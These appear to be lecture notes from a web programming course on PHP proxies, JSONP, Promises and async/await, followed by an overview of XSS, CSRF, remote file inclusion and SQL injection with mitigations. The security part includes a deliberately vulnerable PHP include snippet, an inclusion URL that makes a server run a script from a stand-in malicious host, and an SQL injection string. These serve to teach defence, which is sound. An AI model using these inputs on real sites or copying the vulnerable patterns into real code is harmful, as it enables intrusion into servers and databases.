Proxies

Javascript function is only allowed to make requests back to the server from which it came.
Suppose you have a page https://somewhere.com/index.html and you would like the Javascript on it to make use of the Yioop Rest API (Yioop being the code used for the class discussion board), how do you do it?
You need to use a proxy on your server which passes the request onto Yioop

Consider the following example proxy script for the Yioop News service:

<?php
define ('YIOOP_NEWS_URL', 'https://www.yioop.com/s/news/');

// look at incoming request fields
$query = (!empty($_REQUEST['f']) && in_array($_REQUEST['f'], ["rss", "json"])) ?
    "?f=" . $_REQUEST['f'] : "";

$url = YIOOP_NEWS_URL . $query;

// Open the Curl session
$request_handle = curl_init($url);

// If we wanted to use post we could uncomment the lines below
//curl_setopt ($request_handle, CURLOPT_POST, true);
//curl_setopt ($request_handle, CURLOPT_POSTFIELDS, $postvars);

// Don't bother with the HTTP headers. Do bother with the content back
curl_setopt($request_handle, CURLOPT_HEADER, false);
curl_setopt($request_handle, CURLOPT_RETURNTRANSFER, true);

// Make proxy request
$response_content = curl_exec($request_handle);

//determine the content-type of the respeonse
$pre_content_type = curl_getinfo($request_handle, CURLINFO_CONTENT_TYPE);
$content_type = (empty($pre_content_type)) ? "text/html" : $pre_content_type;

// Set the outgoing proxy content type
header("Content-Type: $content_type");

echo $response_content;
curl_close($request_handle);

To use such a proxy, you need to have PHP running on your machine and it needs to have curl enabled.
By tacking on different query strings such as ?f=rss or ?f=json to the url above you can control the format of the response.

JSONP

You might wonder if there is a more client-side way to do proxying in the case where we can't add code to our server to make the proxy request. For example, suppose our hosting doesn't allow curl requests.
One way to fake this is to use a web service that can respond with JSONP (JSON with Padding).
Such a service returns the JSON data within a Javascript function call of the requester's choice.
For example, the request:
https://www.yioop.com/s/news?f=json&callback=myHandleDataCode
return data that looks like:
```
// API callback
myHandleDataCode({"language":"en-US","link":"http...etc...etc ...});
```

So in my HTML page I could have the script tags:

<script>
function myHandleDataCode(obj)
{
    // do something pretty with json data
}
</script>
<script src="https://www.yioop.com/s/news?f=json&callback=myHandleDataCode" />

When using JSONP code you need to be careful about what your callback does (or even what function it is if you want to avoid security vulnerabilities). Generally, document.write and document.innerHTML work, but dialogs such as alerts might be hard (not impossible) to get to work.

In-Class Exercise

Create a HTML 5 webpage with a script tag on it that has as its sources a JSONP request to the Yioop News Service with callback function: findTotalResults.
Have a second script tag on your webpage where you implement findTotalResults. This function should use the JSON object that it gets as an argument to generate an alert with the value of the totalResults field in this object.
Post your solution to the Nov 16 In-Class Exercise Thread.

Promises

Using XHR requests involve setting up a callback which is executed later after some event occurs.
Since about 2014 most major browsers support in Javascript a generic mechanism for doing this called Promises.
Suppose one was reading a PDF through the Javascript PDF viewer PDFJS. Then one left the site and came back. Suppose the script stored your previous location and now needs to restore it, but it first must wait until the pdf you were viewing has downloaded.

You could do this with code like:

<script src="http://url_for_pdf.js/pdf.js" ></script>
<script>

function renderPdfPage(media_obj, num)
{
    if (media_obj.reflect_rendering) {
        return;
    }
    var media_name = media_obj.reflect_name;
    media_obj.reflect_page_num = num;
    media_obj.reflect_rendering = true;
    media_obj.getPage(num).then(function(page) {
        var viewport = page.getViewport(1.5,
            parseInt(media_obj.reflect_orientation));
        var canvas = document.getElementById('area-' + media_name);
        var context = canvas.getContext('2d');
        canvas.height = viewport.height;
        canvas.width = viewport.width;
        var renderContext = {
            canvasContext: context,
            viewport: viewport
        };
        var renderTask = page.render(renderContext);
        renderTask.promise.then(function () {
            media_obj.reflect_rendering = false;
        });
    });
}
PDFJS.getDocument(url_of_document_viewing).then( 
/* Here getDocument returns a promise of a pdf object when ready.
   The function in the then clause use the pdf object to do something */
    function (pdf) {                             
        if (localStorage) {
             old_page = localStorage.getItem(url_of_document_viewing_old_page);
             renderPdfPage(pdf, old_page);
        } else {
             renderPdfPage(pdf, 1);
        }
    }
);
</script>

The general format of a Javascript promise is

my_promise = new Promise( function (resolve, reject) {
   /* this is the main code that your promise executes.
      resolve and reject are two callbacks your promise
      calls on success or failure.
    */
} );
/* the function you supplied to the promise doesn't run until
   you call the promise's then method. So to use the promise we 
   have code like:
*/
my_promise.then(function(arg_list) {
   // when anonymous function above calls resolve this code runs.
}).catch(function(arg_list) {
   // when anonymous function above calls reject this code runs.
} )

Promises, await and async

Sometimes it can be awkward to write Promise code with tons of then clauses.
Instead, it would be useful to just write a sequence of statements and indicate that some statements need to wait for a promise.
That is essentially what the await keyword is used for.

We don't want functions with await code in it from blocking other code that might be still able to execute, so to indicate a function should immediately return when called but execute in its own "thread" which blocks for its awaits, we mark declare a function async.

<!DOCTYPE html>
<html>
<body>
<script>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
async function drawWithDelays() 
{ 
    document.write(
        'Once upon a time...'); 
    await sleep(2000);
    document.write(
        'In a land far, far away...'); 
    await sleep(2000);
    document.write(
        'there was a language that knew how to handle Promises...'); 
}
drawWithDelays()
</script>
</body>
</html>

Attacking Web-sites

We are next going to look at different ways a web-site might be attacked and we are going to try to find ways to mitigate these attacks.
These attacks are: XSS, CSRF, inclusion attacks, SQL-injection attacks, and click-jacking.
We will then briefly discuss HTTPS.

XSS

XSS stands for Cross-Site Scripting. Notice the initials are actually CSS but that already means cascading stylesheets.
There are several variants of XSS, some are as simple as embedding bad links into emails.
Usually, though, this vulnerability is caused when:
- a website has a form on it
- a malicious user or robot enters data into the form that contains code (say HTML, Javascript)
The form data is later displayed to other users, say because it was a comment to a blog entry or a guestbook entry, or a post to a newsgroup, etc.
Merely viewing the post causes, cookies, etc of the viewer to be sent to the malicious user who then uses them for evil.

Mitigations

Validate input from users! Treat all data posted from forms as tainted and use things like htmlentities to encode it before ever displaying it.
Try to filter certain kinds of input (like scripts)
If your site uses cookies make sure to tie the cookie to the IP address so it can't be used by a malicious third party.

CSRF

CSRF stands for Cross-site Request Forgery. Here is the idea of this attack
Suppose a user logs into his online bank.
The bank stores a cookie on his machine and only uses that to check if he is logged in.
The user browses to some other site (not the bank) with malware in it and clicks on an image link that actually contains a URL for the bank together with an action like do a money transfer to a bad person.
Since the user still has the bank's cookie, the transaction goes ahead without the user even knowing.

Mitigations

Include user specific tokens in forms, so form data won't be used to take actions on databases unless that token is present.
Check the referrer of any data sent to your server.
As a user make sure to log-off sites before browsing elsewhere.

Inclusion Attacks

One lazy way to control a two column layout is to do something like:

<html><head>...</head>
   <body>
     <div id="leftcolumn">
       <ul><li><a href="?c=n.html">News</a></li>
        <li><a href="?c=d.html">Discussions</a></li></ul>
     </div>
      <div id="content">
       <?php if(isset($_GET['c'])){include($_GET['c']);}
             else {include("default.php");} ?>
      </div></body></html>

More on Inclusion Attacks

This opens a site to attacks especially if allow_url_fopen or allow_url_include is set to true in the php.ini file.
This is often set on if you are using some Drupal modules.
Suppose your site was somewhere.com.

Then to attack your site, I can type:

http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php

Then evilscript.php from my site gets to run on your machine with the Webserver privileges.

Mitigations

Turn off allow_url_fopen and allow_url_include (latter more dangerous).
Validate any data in variables used before using them to include scripts.

SQL Injection Attacks and Prevention

Another kind of attack on a web-site's forms is to carefully fill out form variables to break the PHP script behind the forms variables.

Consider the following SQL which might be used to insert into a database:

$sql = "INSERT INTO   users (reg_username, reg_password, reg_email)  VALUES 
      ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')";

What if the posted reg_username is:
```
bad_guy', 'mypass', ''), ('good_guy  
```
?
You can use PHP commmands like: mysqli_escape_string() or addslashes around the posted variable to prevent this problem.
Better yet, use prepared statements rather than ad hoc queries like the above -- they are both faster and safer.

Proxies - JSONP - Promises - Security

Outline

Proxies

JSONP

In-Class Exercise

Promises

Promises, await and async

Attacking Web-sites

XSS

Mitigations

CSRF

Mitigations

Inclusion Attacks

More on Inclusion Attacks

Mitigations

SQL Injection Attacks and Prevention